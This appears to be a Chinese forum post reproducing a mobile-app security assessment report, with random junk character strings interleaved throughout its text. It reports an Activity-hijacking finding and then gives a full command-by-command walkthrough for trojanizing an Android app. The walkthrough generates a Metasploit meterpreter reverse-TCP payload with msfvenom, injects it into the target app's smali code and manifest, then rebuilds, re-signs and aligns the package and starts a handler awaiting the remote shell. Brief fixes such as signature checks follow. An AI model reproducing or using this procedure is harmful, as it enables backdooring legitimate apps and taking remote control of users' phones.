9 j4 o4 |) v' F( V9 o( P ; L+ B& v: H9 E. p8 Q% a3 K8 J, Z   : [, r$ R6 S" y/ w 9 t$ u+ O# H6 X' O! Q

- U- _4 w8 X' N5 O$ T- F 8 p7 l& y# T+ U0 q

. V& x( D3 C' M+ X& e 3 V- X- N; S" K; [% b 2 检测结果                    / T) f/ @; K6 y. U4 } ; n- |3 F( N3 O5 Q8 m( n

" p5 z% v& G% s. ^! O- t! b2 W ! u; A' S) u9 a4 J/ L

- u5 J8 L+ W- q% a7 i6 r! f: h& p. D3 C! R4 _5 g 2.1 某某某 . z& E" d: x8 Z/ _% n1 k 0 C8 }2 K+ ~0 c9 p" A

. }" f r( Z+ `$ c4 @. s3 U2 v+ P' O# h6 n: ~! r/ O

: V1 Y7 R) i! N5 {, U, c 6 s# o3 X( M3 V( s' B 2.1.1检测目标 : ]6 t) v a& m( R ) C! l( V* y) c+ W# S6 a- ]

4 T$ J. I, W" m3 C - }5 ]( I: I, T8 s& [: `3 r

7 W. C. `- \5 v6 }5 G' O# F Y. e- N6 M9 d2 ^. h/ [$ a% C 目标地址: 某某某某某某APP . A; O- u, s) J- l0 S& V5 N* n- T9 } p" s+ p, j* r

1 Q" x5 O" c/ X% ?! Z5 O" u' B! N& n; X: B5 B

9 X' F) @8 I! |6 i7 y 0 K& o, G$ o8 \+ ~" x7 I8 u" v$ f. Q 2.1.2检测结果 " K7 I4 d r- K8 a7 y 7 r' D% \+ C9 B9 A

1 \* w' |+ p, P * W& D1 e4 s. E

, W0 M8 l! B- T9 N( P, z( w% Z/ H) \ [# }5 u q" g 2.1.2.1 , {2 o5 z1 I' f3 t( v1 d . N8 x, U9 D# I# c6 t, M

; W* K. Y4 c3 f . Y, W2 [9 \& Q( I5 w) A

# \9 a9 { f/ A W ) G' p: _; f7 Z" Q9 C* G3 i 漏洞链接地址:某某某某某某APP . I3 H* d9 c F; z* F( x 7 {2 r% G: k) l

& z7 w9 U$ g0 X7 z- J- Q9 T! B H- x1 L* s7 A& q

, [: d9 `, e# q. ^ 9 E- O9 g) L7 ~: i/ W   6 K8 w: n; | u4 R W! s! J& ^% G

. K/ o2 g5 B& ~1 i4 c3 s7 E, E 8 a2 H$ V; S) Z. F) y

! @3 b) Y1 |1 j) J' H+ ] t9 Z7 K; ~9 v6 d/ Y2 {, i 漏洞分析及取证: * d+ [" D% h `' O! N, I- M' i/ G, E& ~% H; N1 O5 i4 P

; Z" R6 u; Y% z" e B/ q9 g' R- \# m# t6 y( s

1 ]8 E8 s* }4 J 8 j% a0 p5 J- \" l( B8 q# O, ?& F8 f                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: ) w- a8 I* E: ~$ t ! K9 t# e. ?. s, o& q" Q: F: [

5 W; f3 j! R- W2 K4 a % |( O* d: h) y: v- q

5 f7 I, X! E( n- N& V " p2 i) X4 g N( L4 d      : S; [! R; V/ c, p6 j8 {# Y3 F7 H0 P! q I1 e. f: [0 F

) o& a( p% V) m! L0 x( ` 8 k& q' v0 `/ z( K- k5 P

) ]" u/ V2 v! D* k, Q. e 3 N C+ y/ m& ^2 |- H! b4 l8 u                       2 j' P6 ]2 N/ w, n+ G# j8 O, Y \! {4 T' K J- p% N3 G% O

Q6 j9 l' r8 z+ j+ v4 k4 A; h" U6 ?: l* d) E7 @

8 ~4 Q0 I1 T, B6 \% j0 j/ C1 o" N 6 h4 Y" q0 Y6 w7 P" k 9 H [% O4 s4 H* j 7 h" G w, K2 D6 m, B( V

0 G$ ~6 T% l4 G 0 I* f1 f3 a1 z

+ ~" R; m7 t9 \; J; }# Q 7 }# `6 ~; `1 D, M 1 D6 B# @+ J3 g' ^$ H: _$ U! Y ) r+ H4 }3 f7 _3 o

7 O" Z8 z1 N/ e" ` c8 v7 K 8 S, P6 \! B+ K9 ^

d/ A! v/ e6 S, Q {% S1 }7 [) S: k x$ L* b ' z* ^1 E5 L# ~' L 3 C: X+ H/ o/ \; D p

/ ~& k- f4 k" s3 N $ i+ J3 }, N' y7 p+ O

9 ]1 u# u, z( k( M8 j# W 6 D/ H4 K" g; }9 E/ ^+ l 漏洞危害:高 3 w+ W; W2 T ?8 L' U3 S I: j& y & p( _. h8 P, f/ |

: U& F/ S/ \6 ? G4 Y ! Q; k1 b' H" c4 O' S9 K# W
* Q9 ^' |& i2 A# W ' r1 \! k0 [- V % P7 @3 ^/ k) d" ^/ _, y4 m$ ~1 K0 s* j! G/ x# m+ M+ T4 \2 D$ ]# n/ v7 C: i: P2 L# W' i1 W: D, m6 r2 {2 g+ g$ H) u1 @+ C1 E# [$ p4 p, O ]+ _' A6 F: M7 R- ?1 L9 L& h( x* `! H" L1 h* H6 n# \. }6 Y# ]* @* c& R' m3 n1 \4 \ I; v Z- m9 \, |+ z A( j' ?. O# }. D0 a! z" I, U( r2 h4 f+ w+ ^" T7 [( Y" D1 i$ i0 G) |* a3 ]$ [/ s$ T- ~: w6 i, ] k7 z# u/ n1 D6 ?! G9 P$ \) X! N, k0 b; O6 L2 }/ s, @: S1 w) Y: h1 `+ G Z+ }0 g" m/ Q, }5 x- Y, X" V5 ^1 ?4 r; _% ` E3 A+ `5 \0 a u6 c0 D% R) u2 s5 K; o- V: h6 Q7 F* I" a8 T' M4 P; c9 R# Z0 h. [" i* c. v- ]4 @( }' [+ O3 K- O- M2 O! ~6 ~+ Y! K* n; R; f* c) m- V* l r% m1 p# O4 X( O5 C
& `# ~6 W X. |( t/ V, d: t 6 L8 |2 g: J8 F; F& P2 R+ l$ P

8 P1 C+ X# U5 c4 x % Z3 }2 Y" X- _% z 严重程度 . N8 ]3 x, a7 G6 t1 P w% b/ |+ _ 3 i& G) M$ ?. J6 V8 m! y) `# v& R

* w% ?3 T0 P5 @' ~5 s! W $ P1 Z* v/ t2 N9 W, S5 b& P
. o# a8 Z! l6 b2 Z * _' I: E' |5 n8 u- j5 h2 h

4 M, _* D) `2 |% U# J 1 l l. I; l( q6 r9 p& E + q& {' P4 K. v4 j& Z8 f2 p; H, Q$ r. e4 i2 X

7 d$ J' U5 u4 f- y: e - g8 s; r. X+ @0 O
% @8 c/ R4 R3 o `( s: G- ? 7 o' S6 a8 U( g5 q

1 i( r( R5 C% t( c+ u/ ~ ' P+ o, _" a; o. Z2 m! L, ^ ) ^5 W( @! s! T( D% |( o* g/ E \# X. A 1 r. ^0 A3 G, @% \

% {# c- D0 `' }3 ?$ U& ` 1 G( l) I6 b9 \1 I) @8 A3 e
0 x5 d3 M# ^0 R7 S. Y* C" l % G" M( K; [1 G1 @

5 ~" x- v+ C6 k ' K2 h/ n i! x* m , H4 I1 h9 c. k) G5 f1 N 3 a' m+ x! L7 h b" ?2 Z

& l$ x5 }; z6 M) R: Q ! I( A* T8 n# o/ ~1 a O$ s, C
# w; E+ p! ]2 i - e2 g7 `9 G! `. j& `

7 ?+ L; U/ r$ e$ E& a/ c7 P # K5 B. e* C0 s6 D2 M) P+ _   ! @; ~: V a# C; e0 N3 ]% k2 n1 M

2 H( Z0 V: T% i) q! X- w 8 l( ` Y# @* d- q# W
8 V$ D( {* Y- i7 l, H4 u# u3 G. @+ Q3 R; d% F$ Z6 C

9 D9 l! U( j3 y2 e5 S 2 U( e/ {; `% ~! W) x / i- C e G' P: Z# K- }6 l+ z, r( {) ]/ q/ \& {

( {# \& z" }9 H$ g5 |: m* s( m 7 ~; S4 t+ F9 t+ u( n3 a, o: C
& U$ ]) Y7 `0 [6 s; t( Z( ^7 Q. _0 B* ^& s9 y5 k1 C

8 U5 d& i0 @+ o1 K" d* Y y; K9 R* {2 H' @1 j4 o5 E Q   q/ f( [" |* @6 u% ]" w0 ]$ t i0 T0 B) `

& y6 _1 Z Z% f! h 7 B: e: r9 N' K+ N) r9 P4 v
p/ E- _! E5 o# j' ? v2 i) ~% P
. I* P" a3 Y2 K8 b 0 Y8 X% L) c9 E4 m! I1 z

7 [5 R; j. w9 Y4 [$ M) O3 m & k+ l/ d2 ?& G- u" J   9 S1 z2 ?: h1 m% ]! C" Z. _6 p& y* W/ p% [* p6 y

) r) H m, T7 p) ]' u9 e6 d: X( I& {: f

& @+ D3 p6 N( [1 W) w; L ( D4 l- G# l- v) R! i 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 + N# \. j$ k8 Y6 ~3 L # e2 k, f' J- P

. V5 M0 K. C6 \" H4 F* N$ d / ~+ B. K! d, C8 R

- ^5 {3 X- p. B7 @( ^3 B4 V " N5 d. z3 b! u           2 u8 e) [5 ^8 y : h3 ]) k/ |+ _& ~8 X8 C

# d& y. l2 z. F6 q. z" {# Q. O* Q3 P, E7 H

2 k( l- W- w9 ?, j 1 K- g# v' r' p- [* I) F9 V( L! l   ( j s/ M& }- ]8 p2 ? & p, n$ z% |4 J

) ?1 k$ P5 @! W: e2 O ' R6 B+ z/ ~; t, L" F3 J

+ p2 S1 K. n* u 0 S* }( P* @$ I: U+ u 2.1.2.2 4 L& J+ p3 ?6 m 2 w6 V9 \' d& M4 o6 `2 n

. m- B9 j, J% M. s0 Z 1 V0 l4 J0 c) `8 T% @, m6 h/ ?

; l. _$ q2 ~) L! X& s2 D9 L m8 x( m1 W" v) S* x/ @ 漏洞链接地址:某某某某某某APP 4 O: H* u7 x0 c/ O, Y3 R ; F/ z2 V3 y: u' z$ M2 p) E( F" u

9 ?/ t# u; q |. x& A2 q 2 R/ L3 R7 C9 E/ k

, h( `/ l' |4 V 6 Y) o. a' p9 s2 z5 n1 d( B* C 漏洞分析及取证: : W+ ^3 H J: O1 s6 S$ d6 S 3 b+ R; V; x$ ]- R- [7 X

; |- }7 S. d; ~ : O) F/ ~ d/ [

% [( h/ j6 O2 d. |3 j ; l7 \5 q; n8 @' C. p& Y0 b                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 4 [) A8 @- F! `" y* l) C- _( O' m ( _9 A! C8 Z+ {3 c- I

9 k8 Y( p' p, z" e 1 k& M( y& j' d; K1 F2 n0 d

: i- l# J i: z2 W( w; w. H1 u4 ^+ F 7 D5 s5 \' Q. R! G4 ~ Metasploit 生成木马 apk : f2 [* O4 _) E( G& S" [" L0 C0 Y4 ~8 t

3 A T | r6 J7 O6 o2 ^ 8 W9 c' G9 G, d7 ^6 ?

5 R' H0 L9 I' M* L6 G: N" ? + m' Y A+ {/ B. @4 `0 O+ y msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ' S6 B; r! l1 h* s) B4 }) R( p# A1 t' V& l3 j( p3 X

% `1 B! V( ~/ z1 x3 f$ _0 E, D9 P9 k' W. e* {7 Z7 ~4 S9 V5 a" y* y

8 z& I6 d# ~: V) r( T J) o$ Z/ F. o) _' q, Z n. L2 X 反编译目标apk和木马apk . \) e# V$ u- _0 ?! \$ Z) t8 g0 O- H) d6 T/ o( g' W5 O* o

* G; O: F+ {6 J! R 6 p. c6 @. B6 Y% }; \* H: x

' Y& s! w% c# I( r 8 y; ~3 }1 T9 y apktool d target.apk
7 D1 M4 A' b" j6 K. [3 d4 ]0 _* u 3 p- r) c W# C- h8 ~* p: U8 L apktool d cockhorse.apk
; }; t9 u4 L1 r# [6 { - k" _, y7 [) L- d% v

7 @+ B6 z0 u q7 I$ L# f0 m & e; E0 P$ P* c5 V' ^- @ k

# V0 V! A$ A! H, n5 ? h& ^ 0 z: A5 d* X5 Q 木马 apk 注入目标 apk # n6 u+ O6 C" `* b( | ; Q4 i0 Z6 l) C! ~3 ~+ l

4 y$ {5 s+ s, W8 d) E( `3 | L% q5 z# a4 z8 ]

; G1 G* ?' J, [; Y u. f/ _" p % j) F8 L0 V$ }* ], K 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
n* r* L3 k0 f X6 O( y / U N5 J }! J5 z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
1 g7 r* O4 `( X+ l: s; O & A6 T, {8 ?+ Z( c- b0 O) P

) S. _- M! I* ?( I' M, L3 u) ?0 V) m' q2 M& ?

6 k3 f4 D6 V! A# m6 N. |' D % U- j. ~7 A2 D8 M g3 g! Z# ? 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 + U' S N+ @" Q, p: ? 3 J% `1 ~ _9 U

8 J7 N) I* ~0 F6 ~/ Q! k% [1 S# r & @) A) I3 m/ q; T8 ]' A' {$ ~1 t7 T

: T' X' Y5 _/ U: z8 L$ r1 p3 d" I: i1 m; n& `- {8 z; F2 X 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 6 {1 }+ O5 g4 V: t$ q4 c" c7 W 5 \" _( X2 X% K0 w

( D' b. C. B, E; P2 a H6 U $ n! a# ~& Q; m5 ~

8 U& l( u2 W# {( R( t$ [ % M* Q! T$ ]: X" Y, H- ]" B 回编译生成最终 apk & K" z/ L1 j/ h/ ?7 H* g! B, O % B% K- i) P. a9 ?" l/ T

$ j$ S9 Y4 P4 v ^8 p1 o + h% q, ~. c7 E3 D2 d; Y

9 G- ~# ~ ]& ^; X: B) W' k. V . }) w7 Z8 y) m# f4 Y0 h: C$ U 重新打包 + Y4 j7 t- z3 E9 s/ e ) V0 E& b+ R+ T1 L# E

# ?# R9 v8 A3 r* _ D 3 x2 l, B7 u, e1 t# _

- v' B0 X: K( |. Q( B! Y4 |' r( t& w3 W apktool b -o repackage.apk target_app_floder ( `) r) ]! O4 ?, n1 ]- E2 g* B2 Q3 r ) k3 A d/ i4 K) r. @6 Q

6 s( z. _! Y$ Y. V. w8 `/ L : ^: h$ C7 X( T8 ^" y7 I4 O

# H7 }. r" a5 Q* f, W" o% Y0 D/ g! v1 P& c d( K 创建签名文件,有的话可忽略此步骤 + L1 B. y( [( D $ A) ], F. q: o* i7 X

, w3 i1 e' @& R2 j$ D! u ' x8 z& b* S$ }: G8 x6 q% [

7 h4 d6 a3 ?4 [( d. H6 I8 C' |/ ?- z3 L; L6 U1 s, f% N keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                + v+ m$ K4 a8 N5 ^0 ?, ^ " Z: l( Q4 s. L+ _% M

$ I) A3 R$ u4 c2 l! k% ]: \ # [1 E! M8 i4 I0 j& w/ E1 X9 G& S

7 B/ {" G3 K" h( }0 j( f7 c. @ o" G! W; F- t* [) v 签名,以下任选其一 - p) J& R& ?# j) T' s! \: [' Q6 d " V; g0 O3 }* x/ _

1 G) T1 `, L/ q& C% s4 j / U4 D. m0 l; w. ~# W B% t

! p6 z# @" ]& N- m A) A5 I , V, }4 E1 R7 {: G( s- N$ Y9 Q jarsigner 方式 1 o* Y' A# O2 J# A) G! {( W9 h: H* G- T4 E" L8 A% V( A4 l

6 ^! q3 y' I; w e& x: u3 g4 n$ W/ U q

9 Q0 r# y4 y, R3 s- Z+ ~6 t7 n ) N- C0 s& L6 \, Z; w' x7 E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 5 D" u9 C6 x2 r* p c0 M, a, Q; c, t4 F# m1 h

9 E- r2 u# M* j . K9 B. L$ D* y

5 Y F+ U) U+ h* j8 u7 L, U( g( x3 ?8 c! m) R apksigner 方式 - K& p% w8 Q2 w7 ~, b9 o8 i 5 F% E# a7 N+ d7 o- o

4 H1 N' l* M8 K: O" {% F 7 a* D4 i5 N* T5 @4 ^. K0 [- R+ X* e

1 n; r8 Z2 {+ l + G, F0 `& P/ j& P- I+ A apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk " |' z0 q. O; @" o- ^; c5 c 0 w$ [! I4 ^; i5 o/ W: ], ?$ S* R

9 A+ b& g# N. V, } ' s* c7 T: v" o5 \& A+ u5 H& |

% |; J8 N: x, |. q0 a5 G, K1 a6 O0 w: L" T# w4 _ 如需要禁用 v2签名 添加选项--v2-signing-enabled false 7 F" t9 J3 A8 {7 ~5 j- m6 V- F/ _+ B. |2 Y3 t% d) I/ h

+ F3 m: l9 y! }& u: ~4 k* U, `6 K) {. i$ Q

" @0 \2 p- z! f! s # h: [1 ^- O7 J/ ?7 a, \9 h 验证,以下任选其一 . \3 j$ Z& Q$ S, A6 \4 e1 s & ~! ?# v; |, Q! @. X* {3 J) g" c; t

0 ~1 c' |/ Z9 L# |% @% O % d' y8 H( t- h- {- w) k9 U

; J7 l& _5 i8 n p6 D+ G; }8 I: F' C# M5 j jarsigner方式 7 r: R+ N4 H% f4 ?" W 3 E2 X; d: P$ F7 a( x( H

3 g0 O2 I- q! ~) M" e 9 Z0 j* p* {% I$ G0 ^1 c

# z: F, z. n' ]( T - ^) q) ] _1 Z/ w jarsigner -verify repackaged.apk ; S0 _2 x0 r) D! N% @9 ^$ H7 w ! Z! G) N4 [# h) b$ Q/ F8 ]

+ v$ c2 J7 t$ r4 D7 x $ `# M9 R {6 [' Y7 j$ i% P

+ l1 z" a" G/ p+ [" F" @ J2 G5 Z& m1 V- |8 R) Q apksigner 方式 6 d' r) x5 ^- @$ u+ A: V7 d, g' b9 }3 ~- n% G9 `- e

* v' i7 c% I% H% P2 A/ g0 o0 V& K4 G6 N# R: [5 X7 P

& ~! a1 t! T0 X: g! e8 ^+ C: F & @5 ]6 M; A* i% r- E( b' r' L apksigner verify -v --print-certs repackaged.apk q. E& n" d: r; L( z $ S: V: R0 \" P2 X; c; K6 y6 e

. i- y: ~( V, T4 U4 z2 X ' K/ s7 d* G5 I' h' w6 X

: q+ Q; r9 r( ?6 F& T8 G: m2 w- e/ b8 a5 T/ S" Q keytool方式 , {1 j6 w: |1 T: o : ^4 F- O; t2 }9 u0 B' X

8 e/ g; ]2 ~5 r6 P) \ ( B. H# `+ ~8 F- I2 U3 [5 h! J

( b6 i6 f+ a6 T * M) m w* @) m# o keytool -printcert -jarfile repackaged.apk ( \9 U5 i! G7 w* i: s& m8 d$ r) } : @6 R8 h) b8 K/ d5 S( y) E

1 L! V! Q$ z7 T9 d 4 K5 d4 G. v8 \( o

+ a+ H/ c& h+ g, b- d$ O " e/ u7 r! k! I* f 对齐 " h$ D. e6 ] B, y' n0 d6 _ ; l; M! V! u9 P9 S: Z; n

" @3 E7 W2 e1 l1 b % `% ?" o7 I+ x' i3 B' |

* {1 F' _0 }# @) l$ i8 u ( e$ d2 Z" ?$ J ^2 W 字节对齐优化 ! ^" h+ B; h# X0 g/ \+ t . [6 u1 } v; b8 A/ y* D0 m

& Y2 K0 _2 D! g( w9 q& [ 6 K! ?9 Q7 y" i Z1 p" C; U e

/ u% T+ z; G9 ?/ O! N$ V3 c ; {0 g2 ]0 x0 M zipalign -v 4 repackaged.apk final.apk # H" t4 B; n5 I/ I7 F& h5 s& o. d6 z

$ [2 N/ [8 e: w' C4 e) T: q ! P& `$ W) ^% R# [* d7 `/ ?( |

! N% a6 s. g4 n1 ~) ]5 k, x. k3 A7 w# @9 N9 o2 y9 |1 k0 s* T7 ] 检查是否对齐 4 f' I& [! u8 V, B ! w& N: F" Z2 z

- T8 `! U& h; `0 i4 d$ p- e 2 O0 S2 b; U0 h/ d% E2 D; [7 J0 w

6 R `5 {) H/ o$ ? & \+ U: N7 {( C0 ]) F* E6 O zipalign -c -v 4 final.apk - f/ i( d }$ u& w5 O q F& L; a2 D, P

, |2 V) T0 w/ u / p* g1 T) U( w. |/ c

: M4 l/ _9 F3 _! ]# F" N& c8 P. } 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 , q: B& X4 \) U" Q8 x7 V6 o2 O, f- H" H# a+ }% ^% O

6 {* }- T" ?$ X" J8 F3 e# o7 S % r2 r. y w! B( }; c1 Y* z

. f/ m) @/ Z' F$ c! c+ ^2 G; f; p7 X 启动Metasploit控制台,配置参数等待上线 / E, L* O+ ]9 z+ w6 A- T4 h D- h4 C. P- s& t5 y7 b

# I. S: x p6 W4 P+ h7 K # {/ n) E8 F0 f$ _3 X S1 d

8 G0 G4 A( k0 f$ A N( y7 C L 3 b, a+ w+ q$ U/ V8 i0 s 在终端依次输入如下命令 / z! g* }3 H& U; p& B! U; s Y7 I" u6 Q! Z: O, j, h3 ?4 C

2 m. t4 b# v; W9 o 8 k; r0 `( _0 u; d/ f

% Y9 H; f- T+ u% R " W7 l k$ E+ T! I5 x" E. @2 ` msfconsole " u, y C1 g. [. i) a1 c! g; x B' B! B' V# t1 i) d. X+ u! B O

* X6 ~: }! B6 v) o) } 6 w" Q F( d! w0 I9 R

2 y/ X6 J( e' g, i* f ' H) n6 W2 E% n% ? use exploit/multi/handler " m# d: e+ y4 z# X) ^" ?, j1 d 6 w% ?& }/ m# H+ v5 m; S) j

. J/ W$ {* R4 t' @ 8 m9 j+ i! J' I

" A0 Y7 E9 U" I4 P5 z 7 B2 o- C, Y' M) x% W set PAYLOAD android/meterpreter/reverse_tcp 1 @ u+ C6 u+ x7 M7 s5 W: k# t0 O " ` S3 F( M; u6 @9 R3 u

3 Z4 h! _- |; j 1 o) y# q# f$ w) L

$ G# n- s1 X# X% |& K5 N+ h s* o" H/ p1 r2 S$ R7 G set LHOST 192.xxx.xx.xx / b. N% y+ j0 J1 R3 k& ?, I0 d/ q3 q6 E8 V w* ?6 B

0 m3 y( f3 _) M7 S7 d: Y# B+ e/ T! R0 Y. x. N, G2 h

1 b3 X0 E% ~) }$ K5 W! I! C& d3 ~4 I) o( c" D2 t set LPORT 4444 , n, e+ j& f, M . s" ?! S# D6 M) [* D* a( {8 I

9 }4 t7 _5 e# M0 M5 V3 N1 l6 I6 K/ z- V5 P& o8 V- |' _$ p

* z0 {+ N. h# i3 }: @9 T8 H% P, b# }, e5 v4 H j exploit 2 }5 b1 e1 m1 `, G" g) A! w6 g $ t q& h! S. s* T% h

1 v9 h. A' w. }. i5 A 3 L2 _( c3 c) q# k2 B

% S3 A8 S: f ]1 X# |: o# r' x 1 d2 c8 _1 H) w, _! O. K, U! Y& u# W 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               i, u5 h) ?2 ?$ S# J# J( e ( J0 D" v* h* A% m ^ a

\* j+ g9 }; F- f1 C 3 j8 n" N* t5 a/ U$ z* Q

3 U5 @$ d$ ~# n4 X 1 X; s: c: U0 h e { 漏洞危害:中 " `3 A5 l* F5 q5 |7 m$ n7 [# w + R1 y0 U j) D! L9 b. T2 x$ N

7 J4 b4 K, y& f; O7 y # l8 I3 V. [3 A2 j* e' E
7 j o7 B+ [* l+ Z* Z7 l! a - e- `; U4 P0 G, y$ _1 ] y . G7 T4 |9 T4 D3 K( b . z @' T) b; H4 S+ L$ H" J * D2 {4 H& o9 X8 V7 F2 f; P* r+ h+ B. u1 Z* a: k6 _/ |+ n! A8 D5 g J1 v) n& J1 p9 f* R3 Z' s0 f# k; v7 z/ C$ [( ~5 q0 f9 \8 b1 q2 Q" @: ~/ K; v$ P- s, y2 V8 P4 y) }+ c- @6 Q" E$ o& _# g9 H) Y3 X& x+ P! k+ L: S% Q+ n+ B$ [8 P0 c) N- c8 N% u2 G+ l" t9 v( S% S. R, ^# Q( `; p0 X- v7 y# X) q+ L$ G0 G# q+ y q" l4 ~4 E, H( r/ u* j% L5 E, f7 b! @9 K4 M& u" e- x$ r* @3 q8 A) z& e9 l7 J2 y; |* j+ V- x, l) O/ v$ U' C# L" j3 U* Z, e# q) l6 M" r: K" \3 f% O6 ^( @" C$ H- M p7 e/ z @7 C% x7 ~3 F0 k5 ~* i1 ^) ~ z u" p' F0 m9 F. B3 ~) \7 g" K/ Y" Q G( x4 \& t; f. v3 ^, P+ f* X% A
% B3 t( x' J; i* E6 K, l% j' l+ o1 w# g6 G

, e+ v2 C; ~: r. Q 2 v% J; G* b0 C3 l, Q( [ 严重程度 ; t8 g) h1 G1 y3 o ( L# V3 ~/ {0 j+ X+ ?% j: X$ l" v

' M% d$ W) r, P- R4 [. ` & m3 q# f; L5 Y% U) S
0 M/ r7 @/ n$ q! h7 g$ } + \& ^! J4 y- P; F

8 l1 |( g7 t m ; L) m' k' a- p$ D! ~4 R: i0 x, Y3 ? / J4 Y1 E8 t) r; w% {4 ~5 s, U$ ^" n

' ~2 ~9 G+ [9 W* ~3 e) } 4 S. @( s( N3 p* `' p/ H5 Z
2 `* s- W& E4 t/ G* F. O3 W / u& @. k! w. u6 n/ q2 r

" h& N4 B7 f' C. ~& _ n; B$ _ 9 @6 I# U) @ i- W0 _ $ I8 A" O3 {7 N1 g, m! W 1 E$ _2 W, k' W

9 L0 ?" t1 ^$ h# I' x2 R! M$ f$ ]' k ) R: Q) a) }0 p7 |
3 w4 n) |' n5 l+ x9 P , x' V7 B' A; P; c* | K. G

4 t" K: g+ i: g' h6 r6 X( U + K- ?7 Z% b0 L; y 8 w6 A1 T$ _; j/ h" x- p5 m # } w) X3 ?2 F5 ], N

, J/ W: q* N) F7 D! a $ \2 y% d) ^* @& x" C9 s
4 r, j+ |- q* q& u$ `2 R, R( D/ {5 n5 J % n" b- a/ d; D6 l- G - q' F+ s3 ^9 T5 Q

/ m# ^8 o0 U7 O# ~# j$ K+ J4 E' X 7 u/ d6 C! W* l   3 ?9 o7 c Z: b0 {) J8 z$ S+ j4 J 7 f$ p2 O! ?5 G5 f7 Z

7 c5 x& m3 O/ t: j! v6 N* } # D+ |) `4 y% m, s* a+ Z
o" i; F+ X2 M* N2 b9 n ; O5 v1 T/ C6 w" d6 v7 l

4 n$ @3 J V2 x+ V6 f/ N4 s ; L; Z% M! \! G7 k8 @+ ] 3 K+ ]- [* | w/ E" _7 j# I" f/ ^. _2 _% O* N( R4 C2 q

1 R; |7 F" Q T' X( p , y ~( j: J0 ]" Y( J
5 C1 s3 n' w4 Y8 B& w5 |- w , h) Y/ I9 Q4 g* O& n9 V 4 {& V* d) F. p3 U2 D9 y$ F( U* C2 A( F9 X( ?/ d

& C5 {; L! V- Y0 E7 G- |4 R3 V2 k, F: v% h! r   8 z: j# |: n. p$ Q4 G- V8 g$ r4 Q) q* F" s' k+ K8 u! J& x

" |: X9 f* ]0 Z ' L+ x- {& l2 D _
. p$ N2 }, V9 b# X 2 ^, U( \. n9 K* h X% L- @; Q) G
( c0 Q/ y G P2 t5 Z O1 f, u + Y5 Q$ |& s& f# _3 Q/ v- h

) N$ k: e& g& K& M8 l4 _# b ( h8 K( ~* y( ~8 T   8 C% u, i7 ^( y4 f) \ 3 L6 t9 R, o( K% |

; H& O$ G" s& Y' }; w- U5 N( S+ M R6 S% ~) s8 r1 f# A

; k( e! @; V d5 Z. q* F& v4 _' } Y9 @6 Q+ n5 P 修复方法: - f( O6 R0 L# [$ O7 F2 i& ^ 0 b7 L2 o- {" F$ C2 D8 a, n- @

E$ I8 o) O* \: ^ 1 u' s7 f% u! ~

% M+ e. J" K/ T& f6 P. W+ W) J; ~5 \5 E9 W! `               1. APP 启动时应做签名校验防止二次打包。
) U/ A9 D8 c& e4 c- m & V0 E7 r0 |# n: G/ U 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 2 [1 Z1 f5 Q: r( ~; E . _5 o# f' v+ S

; J2 m* k( |* n( O7 [( d 9 N" C1 K* \0 }0 M: z- Z % i% U; B5 G5 Y) V3 v/ `/ c8 w" v6 ?9 k9 ]3 s5 s

. ~. z3 Q5 X3 v' H8 e3 Z2 S, g+ e$ }$ ~/ b; N3 i   : ]5 r( X7 C, ~5 B4 o( N8 Z5 n7 Z2 b % c% g) z+ f& W3 ~2 \

5 G, Y6 X4 S4 R; x4 a; Q9 j $ B! b O# S' J/ `& |2 `4 [) `+ j* ~ |/ I9 W 0 U( R+ ] ~8 @/ q - z% Z4 L0 `! W$ Y1 n8 k4 J. p8 _

+ ?: E! g0 y3 E / t) L1 d& y6 U
% f1 J2 w( }, g6 O% ? . W: X5 W- n) ~1 F& c

6 g& E. D4 ], S. Y9 l7 A3 Q$ }9 W" ~ 9 l3 ]: Y* p" H" a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表